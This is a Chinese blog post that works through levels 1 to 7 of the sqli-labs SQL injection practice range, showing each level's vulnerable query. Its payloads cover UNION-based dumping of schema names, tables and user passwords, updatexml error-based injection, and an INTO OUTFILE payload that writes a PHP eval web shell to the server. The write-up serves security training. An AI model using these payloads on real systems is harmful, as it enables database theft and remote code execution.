sqllabs1-7sql注入

本文详细介绍了在Web应用中针对不同情况下的SQL注入攻击,包括?id参数的判断、ORDERBY滥用、联合查询等手段,以及如何利用这些漏洞获取数据库信息、字段名甚至执行代码。从源码分析中展示了字符型和数字型注入,以及盲注攻击的逐步升级过程。
摘要由CSDN通过智能技术生成

先在?id参数后面判断是否存在sql注入
id=1     返回正常
id=1'    返回报错(说明可能存在sql注入)
id=1 and 1=1    返回正常
id=1 and 1=2    返回正常
id=1'  and 1=1   报错
id=1'  and 1=2   报错
说明$id后面可能还存在sql语句(源码源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";)(--+是为了注释后面的limit 0,1";)
id=1'   and 1=1  --+  返回正常
id=1'   and 1=2  --+   报错

接下来拿开源靶场测试sqllibs
接上面可以用order by 来字段测试有多少列
?id=1'  order by 1 --+正常
?id=1' order by 3  --+正常
?id=1' order by 4  --+报错
说明这里字段数为3,之后用联合查询union select 拼接
?id=1' and 1=2 union select 1,2,3 --+或者#这里哪个都可以,这里的and 1=2是为了就将正确的id=1'不显示,返回错误,显示后面union select语句的值
结果:这里SQL查询语句中select后面的字段数量是3个,2,3 字段.
可以利用来判断注入点语句如下:?id=1' and 1=2 union select 1,database(),version() --+     得到数据库名以及版本号。
可以查看数据库名:?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+当然这个语句支持的是mysql5.0以上的。当然这里不拘泥于查询information_schema这个数据库名
查看数据库中的表:?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 --+
或者查询数据库中其他的表:?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3 --+
查看表中的字段:?id=1' and 1=2 union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3 --+
爆出指定字段:?id=1' and 1=2 union select 1,(select group_concat(username,char(32),password)from security.users),3 --+

第二关与第一关基本一样就是在?id=1' and 1=1 --+(把' 去掉就行其他查询方式以及原理一样),源码:源码:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";(这里是数字型注入)    其他流程都和第一关一样

第三关(这里是字符型注入)源码:$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";因为源码中多了(),所以注入时,使用id=1’)闭合源码中前面的括号:          ?id=1') and 1=1 --+   其他流程都和第一关一样


第四关(这里是字符型注入)源码源码:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
因为在传入$id前,对$id进行了双引号包裹,然后sql语句中的$id又有括号包围,所以注入时使用id=1")进行闭合构造,其他流程都和第一关一样

第五关:(采取sql盲注)
源码:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里盲注报错有三种,floor updataxml extractvalue,这里我们用updataxml:自定义一个payload:
union select updatexml(1,concat('~',(payload),'~'),3)
判断数据库:union select updatexml(1,concat('~',(database()),'~'),3) --+
判断表名:?id=1' union select updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'~'),3) --+

判断字段名:?id=1' union select updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~'),3) --+

爆出他的字段:?id=1' union select updatexml(1,concat('~',(select username from users limit 0,1),'~'),3) --+

第六关字符型注入+盲注    
源码:$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
过程:id闭合需要修改为id=1",其它和Pass-5一样


第七关:字符型注入+盲注
源码:源码:
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
id闭合需要修改为id=1’)),使用into outfile写入一句话
因为作者注释了数据库错误显示,我们打开它,先使用报错注入获取当前网站根目录,在进行写入一句话
?id=1'))  and 1=2 union select null,'<?php @eval($_REQUEST['111']);?>',null into outfile '一句话路径名' --+


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值